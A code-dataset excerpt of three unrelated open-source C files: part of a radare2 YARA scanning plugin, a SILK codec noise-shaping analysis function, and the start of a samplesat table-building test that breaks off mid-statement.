ruleidx; st64 offset = 0; ut64 n = 0; YR_RULE* rule = msg_data; if (message == CALLBACK_MSG_RULE_MATCHING) { YR_STRING* string; r_cons_printf("%s\n", rule->identifier); ruleidx = 0; yr_rule_strings_foreach(rule, string) { YR_MATCH* match; yr_string_matches_foreach(context, string, match) { n = match->base + match->offset; // Find virtual address if needed if (io_va) { RIOMap *map = r_io_map_get_paddr (core->io, n); if (map) { offset = r_io_map_begin (map) - map->delta; } } const char *flag = sdb_fmt ("%s%d_%s_%d", "yara", flagidx, rule->identifier, ruleidx); if (print_strings) { r_cons_printf("0x%08" PFMT64x ": %s : ", n + offset, flag); r_print_bytes(print, match->data, match->data_length, "%02x"); } r_flag_set (core->flags, flag, n + offset, match->data_length); ruleidx++; } } flagidx++; } return CALLBACK_CONTINUE; } static void compiler_callback(int error_level, const char* file_name, int line_number, const struct YR_RULE *rule, const char* message, void* user_data) { eprintf ("file: %s line_number: %d.\n%s", file_name, line_number, message); return; } #endif static int r_cmd_yara_scan(const RCore* core, const char* option) { RListIter* rules_it; YR_RULES* rules; void* to_scan; int result; r_flag_space_push (core->flags, "yara"); const unsigned int to_scan_size = r_io_size (core->io); io_va = r_config_get_b (core->config, "io.va"); if (to_scan_size < 1) { eprintf ("Invalid file size\n"); return false; } if( *option == '\0') { print_strings = 0; } else if (*option == 'S') { print_strings = 1; } else { print_strings = 0; eprintf ("Invalid option\n"); return false; } to_scan = malloc (to_scan_size); if (!to_scan) { eprintf ("Something went wrong during memory allocation\n"); return false; } result = r_io_pread_at (core->io, 0L, to_scan, to_scan_size); if (!result) { eprintf ("Something went wrong during r_io_read_at\n"); free (to_scan); return false; } r_list_foreach (rules_list, rules_it, rules) { yr_rules_scan_mem (rules, to_scan, to_scan_size, 0, callback, (void *)core, 0); } free (to_scan); return true; } static int r_cmd_yara_show(const char * name) { /* List loaded rules containing name */ RListIter* rules_it; YR_RULES* rules; YR_RULE* rule; r_list_foreach (rules_list, rules_it, rules) { yr_rules_foreach (rules, rule) { if (r_str_casestr (rule->identifier, name)) { r_cons_printf ("%s\n", rule->identifier); } } } return true; } static int r_cmd_yara_tags() { /* List tags from all the different loaded rules */ RListIter* rules_it; RListIter *tags_it; YR_RULES* rules; YR_RULE* rule; const char* tag_name; RList *tag_list = r_list_new(); tag_list->free = free; r_list_foreach (rules_list, rules_it, rules) { yr_rules_foreach(rules, rule) { yr_rule_tags_foreach(rule, tag_name) { if (! r_list_find (tag_list, tag_name, (RListComparator)strcmp)) { r_list_add_sorted (tag_list, strdup (tag_name), (RListComparator)strcmp); } } } } r_cons_printf ("[YARA tags]\n"); r_list_foreach (tag_list, tags_it, tag_name) { r_cons_printf ("%s\n", tag_name); } r_list_free (tag_list); return true; } static int r_cmd_yara_tag (const char * search_tag) { /* List rules with tag search_tag */ RListIter* rules_it; YR_RULES* rules; YR_RULE* rule; const char* tag_name; r_list_foreach (rules_list, rules_it, rules) { yr_rules_foreach (rules, rule) { yr_rule_tags_foreach(rule, tag_name) {eprintf ("Invalid option\n"); if (r_str_casestr (tag_name, search_tag)) { r_cons_printf("%s\n", rule->identifier); break; } } } } return true; } static int r_cmd_yara_list () { /* List all loaded rules */ RListIter* rules_it; YR_RULES* rules; YR_RULE* rule; r_list_foreach (rules_list, rules_it, rules) { yr_rules_foreach (rules, rule) { r_cons_printf("%s\n", rule->identifier); } } return true; } static int r_cmd_yara_clear () { /* Clears all loaded rules */ r_list_free (rules_list); rules_list = r_list_newf((RListFree) yr_rules_destroy); eprintf ("Rules cleared.\n"); return true; } static int r_cmd_yara_add(const RCore* core, const char* input) { /* Add a rule with user input */ YR_COMPILER* compiler = NULL; char* modified_template = NULL; char* old_template = NULL; int result, i, continue_edit; for( i = 0; input[i] != '\0'; i++) { if (input[i] != ' ') { return r_cmd_yara_add_file (input + i); } } if (yr_compiler_create (&compiler) != ERROR_SUCCESS) { char buf[64]; eprintf ("Error: %s\n", yr_compiler_get_error_message (compiler, buf, sizeof (buf))); return false; } old_template = strdup(yara_rule_template); do { modified_template = r_core_editor (core, NULL, old_template); free(old_template); old_template = NULL; if (!modified_template) { eprintf("Something happened with the temp file"); goto err_exit; } result = yr_compiler_add_string (compiler, modified_template, NULL); if( result > 0 ) { char buf[64]; eprintf ("Error: %s\n", yr_compiler_get_error_message (compiler, buf, sizeof (buf))); continue_edit = r_cons_yesno('y', "Do you want to continue editing the rule? [y]/n\n"); if (!continue_edit) { goto err_exit; } old_template = modified_template; modified_template = NULL; } } while (result > 0); free(modified_template); yr_compiler_destroy (compiler); r_cons_printf ("Rule successfully added.\n"); return true; err_exit: if (compiler) yr_compiler_destroy (compiler); if (modified_template) free (modified_template); if (old_template) free (old_template); return false; } static int r_cmd_yara_add_file(const char* rules_path) { YR_COMPILER* compiler = NULL; YR_RULES* rules; FILE* rules_file = NULL; int result; if (!rules_path) { eprintf ("Please tell me what am I supposed to load\n"); return false; } rules_file = r_sandbox_fopen (rules_path, "r"); if (!rules_file) { eprintf ("Unable to open %s\n", rules_path); return false; } if (yr_compiler_create (&compiler) != ERROR_SUCCESS) { char buf[64]; eprintf ("Error: %s\n", yr_compiler_get_error_message (compiler, buf, sizeof (buf))); goto err_exit; } result = yr_compiler_add_file (compiler, rules_file, NULL, rules_path); fclose (rules_file); rules_file = NULL; if (result > 0) { char buf[64]; eprintf ("Error: %s : %s\n", yr_compiler_get_error_message (compiler, buf, sizeof (buf)), rules_path); goto err_exit; } if (yr_compiler_get_rules (compiler, &rules) != ERROR_SUCCESS) { char buf[64]; eprintf ("Error: %s\n", yr_compiler_get_error_message (compiler, buf, sizeof (buf))); goto err_exit; } r_list_append(rules_list, rules); yr_compiler_destroy (compiler); return true; err_exit: if (compiler) yr_compiler_destroy (compiler); if (rules_file) fclose (rules_file); return false; } static int r_cmd_yara_help(const RCore* core) { const char * help_message[] = { "Usage: yara", "", " Yara plugin", "add", " [file]", "Add yara rules from file, or open $EDITOR with yara rule template", "clear", "", "Clear all rules", "help", "", "Show this help", "list", "", "List all rules", "scan", "[S]", "Scan the current file, if S option is given it prints matching strings.", "show", " name", "Show rules containing name", "tag", " name", "List rules with tag 'name'", "tags", "", "List tags from the loaded rules", NULL }; r_core_cmd_help (core, help_message); return true; } static int r_cmd_yara_process(const RCore* core, const char* input) { if (!strncmp (input, "add", 3)) return r_cmd_yara_add (core, input + 3); else if (!strncmp (input, "clear", 4)) return r_cmd_yara_clear (); else if (!strncmp (input, "list", 4)) return r_cmd_yara_list (); else if (!strncmp (input, "scan", 4)) return r_cmd_yara_scan (core, input + 4); else if (!strncmp (input, "show", 4)) return r_cmd_yara_show (input + 5); else if (!strncmp (input, "tags", 4)) return r_cmd_yara_tags (); else if (!strncmp (input, "tag ", 4)) return r_cmd_yara_tag (input + 4); else return r_cmd_yara_help (core); } static int r_cmd_yara_call(void *user, const char *input) { const char *args; RCore* core = (RCore*) user; if (strncmp (input, "yara", 4)) { return false; } if (strncmp (input, "yara ", 5)) { return r_cmd_yara_help (core); } args = input + 4; if (! initialized && !r_cmd_yara_init (core, NULL)) { return false; } if (*args) { args++; } r_cmd_yara_process (core, args); return true; } static int r_cmd_yara_load_default_rules (const RCore* core) { RListIter* iter = NULL; YR_COMPILER* compiler = NULL; YR_RULES* yr_rules; char* filename, *complete_path; char* rules = NULL; char* y3_rule_dir = r_str_newf ("%s%s%s", r_str_home(R2_HOME_PLUGINS), R_SYS_DIR, "rules-yara3"); RList* list = r_sys_dir (y3_rule_dir); if (yr_compiler_create (&compiler) != ERROR_SUCCESS) { char buf[64]; eprintf ("Error: %s\n", yr_compiler_get_error_message (compiler, buf, sizeof (buf))); goto err_exit; } yr_compiler_set_callback(compiler, compiler_callback, NULL); r_list_foreach (list, iter, filename) { if (filename[0] != '.') { // skip '.', '..' and hidden files complete_path = r_str_newf ("%s%s%s", y3_rule_dir, R_SYS_DIR, filename); rules = (char*)r_file_gzslurp (complete_path, NULL, true); free (complete_path); complete_path = NULL; if (yr_compiler_add_string (compiler, rules, NULL) > 0) { char buf[64]; eprintf ("Error: %s\n", yr_compiler_get_error_message (compiler, buf, sizeof (buf))); } free (rules); rules = NULL; } } r_list_free (list); if (yr_compiler_get_rules (compiler, &yr_rules) != ERROR_SUCCESS) { char buf[64]; eprintf ("Error: %s\n", yr_compiler_get_error_message (compiler, buf, sizeof (buf))); goto err_exit; } r_list_append(rules_list, yr_rules); yr_compiler_destroy (compiler); return true; err_exit: if (y3_rule_dir) free (y3_rule_dir); if (compiler) yr_compiler_destroy (compiler); if (list) r_list_free (list); if (rules) free (rules); return false; } static int r_cmd_yara_init(void *user, const char *cmd) { RCore* core = (RCore *)user; rules_list = r_list_newf((RListFree) yr_rules_destroy); yr_initialize (); r_cmd_yara_load_default_rules (core); initialized = true; flagidx = 0; return true; } static int r_cmd_yara_fini(){ if (initialized) { r_list_free (rules_list); yr_finalize(); initialized = false; } return true; } RCorePlugin r_core_plugin_yara = { .name = "yara", .desc = "YARA integration", .license = "LGPL", .call = r_cmd_yara_call, .init = r_cmd_yara_init, .fini = r_cmd_yara_fini }; #ifndef CORELIB RLibStruct radare_plugin = { .type = R_LIB_TYPE_CORE, .data = &r_core_plugin_yara, .version = R2_VERSION }; #endif
radare/radare2-extras
yara/yara/core_yara.c
C
lgpl-3.0
13,849
/*********************************************************************** Copyright (c) 2006-2011, Skype Limited. All rights reserved. Redistribution and use in source and binary forms, with or without modification, (subject to the limitations in the disclaimer below) are permitted provided that the following conditions are met: - Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. - Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. - Neither the name of Skype Limited, nor the names of specific contributors, may be used to endorse or promote products derived from this software without specific prior written permission. NO EXPRESS OR IMPLIED LICENSES TO ANY PARTY'S PATENT RIGHTS ARE GRANTED BY THIS LICENSE. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS ''AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. ***********************************************************************/ #include "SKP_Silk_main_FLP.h" #include "SKP_Silk_tuning_parameters.h" /* Compute gain to make warped filter coefficients have a zero mean log frequency response on a */ /* non-warped frequency scale. (So that it can be implemented with a minimum-phase monic filter.) */ SKP_INLINE SKP_float warped_gain( const SKP_float *coefs, SKP_float lambda, SKP_int order ) { SKP_int i; SKP_float gain; lambda = -lambda; gain = coefs[ order - 1 ]; for( i = order - 2; i >= 0; i-- ) { gain = lambda * gain + coefs[ i ]; } return (SKP_float)( 1.0f / ( 1.0f - lambda * gain ) ); } /* Convert warped filter coefficients to monic pseudo-warped coefficients and limit maximum */ /* amplitude of monic warped coefficients by using bandwidth expansion on the true coefficients */ SKP_INLINE void warped_true2monic_coefs( SKP_float *coefs_syn, SKP_float *coefs_ana, SKP_float lambda, SKP_float limit, SKP_int order ) { SKP_int i, iter, ind = 0; SKP_float tmp, maxabs, chirp, gain_syn, gain_ana; /* Convert to monic coefficients */ for( i = order - 1; i > 0; i-- ) { coefs_syn[ i - 1 ] -= lambda * coefs_syn[ i ]; coefs_ana[ i - 1 ] -= lambda * coefs_ana[ i ]; } gain_syn = ( 1.0f - lambda * lambda ) / ( 1.0f + lambda * coefs_syn[ 0 ] ); gain_ana = ( 1.0f - lambda * lambda ) / ( 1.0f + lambda * coefs_ana[ 0 ] ); for( i = 0; i < order; i++ ) { coefs_syn[ i ] *= gain_syn; coefs_ana[ i ] *= gain_ana; } /* Limit */ for( iter = 0; iter < 10; iter++ ) { /* Find maximum absolute value */ maxabs = -1.0f; for( i = 0; i < order; i++ ) { tmp = SKP_max( SKP_abs_float( coefs_syn[ i ] ), SKP_abs_float( coefs_ana[ i ] ) ); if( tmp > maxabs ) { maxabs = tmp; ind = i; } } if( maxabs <= limit ) { /* Coefficients are within range - done */ return; } /* Convert back to true warped coefficients */ for( i = 1; i < order; i++ ) { coefs_syn[ i - 1 ] += lambda * coefs_syn[ i ]; coefs_ana[ i - 1 ] += lambda * coefs_ana[ i ]; } gain_syn = 1.0f / gain_syn; gain_ana = 1.0f / gain_ana; for( i = 0; i < order; i++ ) { coefs_syn[ i ] *= gain_syn; coefs_ana[ i ] *= gain_ana; } /* Apply bandwidth expansion */ chirp = 0.99f - ( 0.8f + 0.1f * iter ) * ( maxabs - limit ) / ( maxabs * ( ind + 1 ) ); SKP_Silk_bwexpander_FLP( coefs_syn, order, chirp ); SKP_Silk_bwexpander_FLP( coefs_ana, order, chirp ); /* Convert to monic warped coefficients */ for( i = order - 1; i > 0; i-- ) { coefs_syn[ i - 1 ] -= lambda * coefs_syn[ i ]; coefs_ana[ i - 1 ] -= lambda * coefs_ana[ i ]; } gain_syn = ( 1.0f - lambda * lambda ) / ( 1.0f + lambda * coefs_syn[ 0 ] ); gain_ana = ( 1.0f - lambda * lambda ) / ( 1.0f + lambda * coefs_ana[ 0 ] ); for( i = 0; i < order; i++ ) { coefs_syn[ i ] *= gain_syn; coefs_ana[ i ] *= gain_ana; } } SKP_assert( 0 ); } /* Compute noise shaping coefficients and initial gain values */ void SKP_Silk_noise_shape_analysis_FLP( SKP_Silk_encoder_state_FLP *psEnc, /* I/O Encoder state FLP */ SKP_Silk_encoder_control_FLP *psEncCtrl, /* I/O Encoder control FLP */ const SKP_float *pitch_res, /* I LPC residual from pitch analysis */ const SKP_float *x /* I Input signal [frame_length + la_shape] */ ) { SKP_Silk_shape_state_FLP *psShapeSt = &psEnc->sShape; SKP_int k, nSamples; SKP_float SNR_adj_dB, HarmBoost, HarmShapeGain, Tilt; SKP_float nrg, pre_nrg, log_energy, log_energy_prev, energy_variation; SKP_float delta, BWExp1, BWExp2, gain_mult, gain_add, strength, b, warping; SKP_float x_windowed[ SHAPE_LPC_WIN_MAX ]; SKP_float auto_corr[ MAX_SHAPE_LPC_ORDER + 1 ]; const SKP_float *x_ptr, *pitch_res_ptr; /* Point to start of first LPC analysis block */ x_ptr = x - psEnc->sCmn.la_shape; /****************/ /* CONTROL SNR */ /****************/ /* Reduce SNR_dB values if recent bitstream has exceeded TargetRate */ psEncCtrl->current_SNR_dB = psEnc->SNR_dB - 0.05f * psEnc->BufferedInChannel_ms; /* Reduce SNR_dB if inband FEC used */ if( psEnc->speech_activity > LBRR_SPEECH_ACTIVITY_THRES ) { psEncCtrl->current_SNR_dB -= psEnc->inBandFEC_SNR_comp; } /****************/ /* GAIN CONTROL */ /****************/ /* Input quality is the average of the quality in the lowest two VAD bands */ psEncCtrl->input_quality = 0.5f * ( psEncCtrl->input_quality_bands[ 0 ] + psEncCtrl->input_quality_bands[ 1 ] ); /* Coding quality level, between 0.0 and 1.0 */ psEncCtrl->coding_quality = SKP_sigmoid( 0.25f * ( psEncCtrl->current_SNR_dB - 18.0f ) ); /* Reduce coding SNR during low speech activity */ b = 1.0f - psEnc->speech_activity; SNR_adj_dB = psEncCtrl->current_SNR_dB - BG_SNR_DECR_dB * psEncCtrl->coding_quality * ( 0.5f + 0.5f * psEncCtrl->input_quality ) * b * b; if( psEncCtrl->sCmn.sigtype == SIG_TYPE_VOICED ) { /* Reduce gains for periodic signals */ SNR_adj_dB += HARM_SNR_INCR_dB * psEnc->LTPCorr; } else { /* For unvoiced signals and low-quality input, adjust the quality slower than SNR_dB setting */ SNR_adj_dB += ( -0.4f * psEncCtrl->current_SNR_dB + 6.0f ) * ( 1.0f - psEncCtrl->input_quality ); } /*************************/ /* SPARSENESS PROCESSING */ /*************************/ /* Set quantizer offset */ if( psEncCtrl->sCmn.sigtype == SIG_TYPE_VOICED ) { /* Initally set to 0; may be overruled in process_gains(..) */ psEncCtrl->sCmn.QuantOffsetType = 0; psEncCtrl->sparseness = 0.0f; } else { /* Sparseness measure, based on relative fluctuations of energy per 2 milliseconds */ nSamples = 2 * psEnc->sCmn.fs_kHz; energy_variation = 0.0f; log_energy_prev = 0.0f; pitch_res_ptr = pitch_res; for( k = 0; k < FRAME_LENGTH_MS / 2; k++ ) { nrg = ( SKP_float )nSamples + ( SKP_float )SKP_Silk_energy_FLP( pitch_res_ptr, nSamples ); log_energy = SKP_Silk_log2( nrg ); if( k > 0 ) { energy_variation += SKP_abs_float( log_energy - log_energy_prev ); } log_energy_prev = log_energy; pitch_res_ptr += nSamples; } psEncCtrl->sparseness = SKP_sigmoid( 0.4f * ( energy_variation - 5.0f ) ); /* Set quantization offset depending on sparseness measure */ if( psEncCtrl->sparseness > SPARSENESS_THRESHOLD_QNT_OFFSET ) { psEncCtrl->sCmn.QuantOffsetType = 0; } else { psEncCtrl->sCmn.QuantOffsetType = 1; } /* Increase coding SNR for sparse signals */ SNR_adj_dB += SPARSE_SNR_INCR_dB * ( psEncCtrl->sparseness - 0.5f ); } /*******************************/ /* Control bandwidth expansion */ /*******************************/ /* More BWE for signals with high prediction gain */ strength = FIND_PITCH_WHITE_NOISE_FRACTION * psEncCtrl->predGain; /* between 0.0 and 1.0 */ BWExp1 = BWExp2 = BANDWIDTH_EXPANSION / ( 1.0f + strength * strength ); delta = LOW_RATE_BANDWIDTH_EXPANSION_DELTA * ( 1.0f - 0.75f * psEncCtrl->coding_quality ); BWExp1 -= delta; BWExp2 += delta; /* BWExp1 will be applied after BWExp2, so make it relative */ BWExp1 /= BWExp2; if( psEnc->sCmn.warping_Q16 > 0 ) { /* Slightly more warping in analysis will move quantization noise up in frequency, where it's better masked */ warping = (SKP_float)psEnc->sCmn.warping_Q16 / 65536.0f + 0.01f * psEncCtrl->coding_quality; } else { warping = 0.0f; } /********************************************/ /* Compute noise shaping AR coefs and gains */ /********************************************/ for( k = 0; k < NB_SUBFR; k++ ) { /* Apply window: sine slope followed by flat part followed by cosine slope */ SKP_int shift, slope_part, flat_part; flat_part = psEnc->sCmn.fs_kHz * 5; slope_part = ( psEnc->sCmn.shapeWinLength - flat_part ) / 2; SKP_Silk_apply_sine_window_FLP( x_windowed, x_ptr, 1, slope_part ); shift = slope_part; SKP_memcpy( x_windowed + shift, x_ptr + shift, flat_part * sizeof(SKP_float) ); shift += flat_part; SKP_Silk_apply_sine_window_FLP( x_windowed + shift, x_ptr + shift, 2, slope_part ); /* Update pointer: next LPC analysis block */ x_ptr += psEnc->sCmn.subfr_length; if( psEnc->sCmn.warping_Q16 > 0 ) { /* Calculate warped auto correlation */ SKP_Silk_warped_autocorrelation_FLP( auto_corr, x_windowed, warping, psEnc->sCmn.shapeWinLength, psEnc->sCmn.shapingLPCOrder ); } else { /* Calculate regular auto correlation */ SKP_Silk_autocorrelation_FLP( auto_corr, x_windowed, psEnc->sCmn.shapeWinLength, psEnc->sCmn.shapingLPCOrder + 1 ); } /* Add white noise, as a fraction of energy */ auto_corr[ 0 ] += auto_corr[ 0 ] * SHAPE_WHITE_NOISE_FRACTION; /* Convert correlations to prediction coefficients, and compute residual energy */ nrg = SKP_Silk_levinsondurbin_FLP( &psEncCtrl->AR2[ k * MAX_SHAPE_LPC_ORDER ], auto_corr, psEnc->sCmn.shapingLPCOrder ); psEncCtrl->Gains[ k ] = ( SKP_float )sqrt( nrg ); if( psEnc->sCmn.warping_Q16 > 0 ) { /* Adjust gain for warping */ psEncCtrl->Gains[ k ] *= warped_gain( &psEncCtrl->AR2[ k * MAX_SHAPE_LPC_ORDER ], warping, psEnc->sCmn.shapingLPCOrder ); } /* Bandwidth expansion for synthesis filter shaping */ SKP_Silk_bwexpander_FLP( &psEncCtrl->AR2[ k * MAX_SHAPE_LPC_ORDER ], psEnc->sCmn.shapingLPCOrder, BWExp2 ); /* Compute noise shaping filter coefficients */ SKP_memcpy( &psEncCtrl->AR1[ k * MAX_SHAPE_LPC_ORDER ], &psEncCtrl->AR2[ k * MAX_SHAPE_LPC_ORDER ], psEnc->sCmn.shapingLPCOrder * sizeof( SKP_float ) ); /* Bandwidth expansion for analysis filter shaping */ SKP_Silk_bwexpander_FLP( &psEncCtrl->AR1[ k * MAX_SHAPE_LPC_ORDER ], psEnc->sCmn.shapingLPCOrder, BWExp1 ); /* Ratio of prediction gains, in energy domain */ SKP_Silk_LPC_inverse_pred_gain_FLP( &pre_nrg, &psEncCtrl->AR2[ k * MAX_SHAPE_LPC_ORDER ], psEnc->sCmn.shapingLPCOrder ); SKP_Silk_LPC_inverse_pred_gain_FLP( &nrg, &psEncCtrl->AR1[ k * MAX_SHAPE_LPC_ORDER ], psEnc->sCmn.shapingLPCOrder ); psEncCtrl->GainsPre[ k ] = 1.0f - 0.7f * ( 1.0f - pre_nrg / nrg ); /* Convert to monic warped prediction coefficients and limit absolute values */ warped_true2monic_coefs( &psEncCtrl->AR2[ k * MAX_SHAPE_LPC_ORDER ], &psEncCtrl->AR1[ k * MAX_SHAPE_LPC_ORDER ], warping, 3.999f, psEnc->sCmn.shapingLPCOrder ); } /*****************/ /* Gain tweaking */ /*****************/ /* Increase gains during low speech activity and put lower limit on gains */ gain_mult = ( SKP_float )pow( 2.0f, -0.16f * SNR_adj_dB ); gain_add = ( SKP_float )pow( 2.0f, 0.16f * NOISE_FLOOR_dB ) + ( SKP_float )pow( 2.0f, 0.16f * RELATIVE_MIN_GAIN_dB ) * psEnc->avgGain; for( k = 0; k < NB_SUBFR; k++ ) { psEncCtrl->Gains[ k ] *= gain_mult; psEncCtrl->Gains[ k ] += gain_add; psEnc->avgGain += psEnc->speech_activity * GAIN_SMOOTHING_COEF * ( psEncCtrl->Gains[ k ] - psEnc->avgGain ); } /************************************************/ /* Decrease level during fricatives (de-essing) */ /************************************************/ gain_mult = 1.0f + INPUT_TILT + psEncCtrl->coding_quality * HIGH_RATE_INPUT_TILT; if( psEncCtrl->input_tilt <= 0.0f && psEncCtrl->sCmn.sigtype == SIG_TYPE_UNVOICED ) { SKP_float essStrength = -psEncCtrl->input_tilt * psEnc->speech_activity * ( 1.0f - psEncCtrl->sparseness ); if( psEnc->sCmn.fs_kHz == 24 ) { gain_mult *= ( SKP_float )pow( 2.0f, -0.16f * DE_ESSER_COEF_SWB_dB * essStrength ); } else if( psEnc->sCmn.fs_kHz == 16 ) { gain_mult *= (SKP_float)pow( 2.0f, -0.16f * DE_ESSER_COEF_WB_dB * essStrength ); } else { SKP_assert( psEnc->sCmn.fs_kHz == 12 || psEnc->sCmn.fs_kHz == 8 ); } } for( k = 0; k < NB_SUBFR; k++ ) { psEncCtrl->GainsPre[ k ] *= gain_mult; } /************************************************/ /* Control low-frequency shaping and noise tilt */ /************************************************/ /* Less low frequency shaping for noisy inputs */ strength = LOW_FREQ_SHAPING * ( 1.0f + LOW_QUALITY_LOW_FREQ_SHAPING_DECR * ( psEncCtrl->input_quality_bands[ 0 ] - 1.0f ) ); if( psEncCtrl->sCmn.sigtype == SIG_TYPE_VOICED ) { /* Reduce low frequencies quantization noise for periodic signals, depending on pitch lag */ /*f = 400; freqz([1, -0.98 + 2e-4 * f], [1, -0.97 + 7e-4 * f], 2^12, Fs); axis([0, 1000, -10, 1])*/ for( k = 0; k < NB_SUBFR; k++ ) { b = 0.2f / psEnc->sCmn.fs_kHz + 3.0f / psEncCtrl->sCmn.pitchL[ k ]; psEncCtrl->LF_MA_shp[ k ] = -1.0f + b; psEncCtrl->LF_AR_shp[ k ] = 1.0f - b - b * strength; } Tilt = - HP_NOISE_COEF - (1 - HP_NOISE_COEF) * HARM_HP_NOISE_COEF * psEnc->speech_activity; } else { b = 1.3f / psEnc->sCmn.fs_kHz; psEncCtrl->LF_MA_shp[ 0 ] = -1.0f + b; psEncCtrl->LF_AR_shp[ 0 ] = 1.0f - b - b * strength * 0.6f; for( k = 1; k < NB_SUBFR; k++ ) { psEncCtrl->LF_MA_shp[ k ] = psEncCtrl->LF_MA_shp[ 0 ]; psEncCtrl->LF_AR_shp[ k ] = psEncCtrl->LF_AR_shp[ 0 ]; } Tilt = -HP_NOISE_COEF; } /****************************/ /* HARMONIC SHAPING CONTROL */ /****************************/ /* Control boosting of harmonic frequencies */ HarmBoost = LOW_RATE_HARMONIC_BOOST * ( 1.0f - psEncCtrl->coding_quality ) * psEnc->LTPCorr; /* More harmonic boost for noisy input signals */ HarmBoost += LOW_INPUT_QUALITY_HARMONIC_BOOST * ( 1.0f - psEncCtrl->input_quality ); if( USE_HARM_SHAPING && psEncCtrl->sCmn.sigtype == SIG_TYPE_VOICED ) { /* Harmonic noise shaping */ HarmShapeGain = HARMONIC_SHAPING; /* More harmonic noise shaping for high bitrates or noisy input */ HarmShapeGain += HIGH_RATE_OR_LOW_QUALITY_HARMONIC_SHAPING * ( 1.0f - ( 1.0f - psEncCtrl->coding_quality ) * psEncCtrl->input_quality ); /* Less harmonic noise shaping for less periodic signals */ HarmShapeGain *= ( SKP_float )sqrt( psEnc->LTPCorr ); } else { HarmShapeGain = 0.0f; } /*************************/ /* Smooth over subframes */ /*************************/ for( k = 0; k < NB_SUBFR; k++ ) { psShapeSt->HarmBoost_smth += SUBFR_SMTH_COEF * ( HarmBoost - psShapeSt->HarmBoost_smth ); psEncCtrl->HarmBoost[ k ] = psShapeSt->HarmBoost_smth; psShapeSt->HarmShapeGain_smth += SUBFR_SMTH_COEF * ( HarmShapeGain - psShapeSt->HarmShapeGain_smth ); psEncCtrl->HarmShapeGain[ k ] = psShapeSt->HarmShapeGain_smth; psShapeSt->Tilt_smth += SUBFR_SMTH_COEF * ( Tilt - psShapeSt->Tilt_smth ); psEncCtrl->Tilt[ k ] = psShapeSt->Tilt_smth; } }
fingi/csipsimple
jni/silk/sources/SILK_SDK_SRC_FLP_v1.0.8/src/SKP_Silk_noise_shape_analysis_FLP.c
C
lgpl-3.0
18,214
#include "samplesat.h" #include "memalloc.h" #include <stdio.h> #include <stdlib.h> #include <inttypes.h> #include <string.h> uint32_t num_sorts = 100; uint32_t num_consts = 1000; uint32_t buf_len = 11; #define ENABLE 0 typedef struct inclause_buffer_t { int32_t size; input_literal_t ** data; } inclause_buffer_t; static inclause_buffer_t inclause_buffer = {0, NULL}; int main(){ samp_table_t table; init_samp_table(&table); sort_table_t *sort_table = &(table.sort_table); const_table_t *const_table = &(table.const_table); pred_table_t *pred_table = &(table.pred_table); atom_table_t *atom_table = &(table.atom_table); clause_table_t *clause_table = &(table.clause_table); uint32_t i, j; char sort_num[6]; char const_num[6]; char pred_num[6]; char *buffer; for (i = 0; i < num_sorts; i++){ sprintf(sort_num, "%d", i); buffer = (char *) safe_malloc(sizeof(char)*buf_len); memcpy(buffer, "sort", buf_len); strcat(buffer, sort_num); add_sort(sort_table, buffer); } if (ENABLE){ printf("\nsort_table: size: %"PRId32", num_sorts: %"PRId32"", sort_table->size, sort_table->num_sorts); for (i = 0; i < num_sorts; i++){ buffer = sort_table->entries[i].name; printf("\nsort[%"PRIu32"]: %s; symbol_table: %"PRId32"", i, buffer, stbl_find(&(sort_table->sort_name_index), buffer)); add_sort(sort_table, buffer);//should do nothing printf("\nRe:sort[%"PRIu32"]: %s; symbol_table: %"PRId32"", i, buffer, stbl_find(&(sort_table->sort_name_index), buffer)); } } /* Now testing constants */ for (i = 0; i < num_sorts; i++){ for (j = 0; j < (num_consts/num_sorts); j++){ sprintf(const_num, "%d", i*(num_consts/num_sorts) + j); memcpy(buffer, "const", 6); strcat(buffer, const_num); add_const(const_table, buffer, sort_table, sort_table->entries[i].name); } } if (ENABLE){ for (i=0; i < num_sorts; i++){ printf("\nsort = %s", sort_table->entries[i].name); for (j = 0; j < sort_table->entries[i].cardinality; j++){ printf("\nconst = %s", const_table->entries[sort_table->entries[i].constants[j]].name); } } } /* Now testing signatures */ bool evidence = 0; char **sort_name_buffer = (char **) safe_malloc(num_sorts * sizeof(char *)); printf("\nAdding normal preds"); for (i = 0; i < num_sorts; i++){ sort_name_buffer[i] = sort_table->entries[i].name; memcpy(buffer, "pred", 5); sprintf(pred_num, "%d", i); strcat(buffer, pred_num); add_pred(pred_table, buffer, evidence, i, sort_table, sort_name_buffer); } evidence = !evidence; printf("\nAdding evidence preds"); for (j = 0; j < num_sorts; j++){ sort_name_buffer[j] = sort_table->entries[j].name; memcpy(buffer, "pred", 5); sprintf(pred_num, "%d", j+i); strcat(buffer, pred_num); add_pred(pred_table, buffer, evidence, j, sort_table, sort_name_buffer); } if (ENABLE){ for (i = 0; i < pred_table->evpred_tbl.num_preds; i++){ printf("\n evpred[%d] = ", i); buffer = pred_table->evpred_tbl.entries[i].name; printf("index(%d); ", pred_index(buffer, pred_table)); printf("%s(", buffer); for (j = 0; j < pred_table->evpred_tbl.entries[i].arity; j++){ printf(" %s, ", sort_table->entries[pred_table->evpred_tbl.entries[i].signature[j]].name); } printf(")"); } for (i = 0; i < pred_table->pred_tbl.num_preds; i++){ printf("\n pred[%d] = ", i); buffer = pred_table->pred_tbl.entries[i].name; printf("index(%d); ", pred_index(buffer, pred_table)); printf("%s(", buffer); for (j = 0; j < pred_table->pred_tbl.entries[i].arity; j++){ printf(" %s, ", 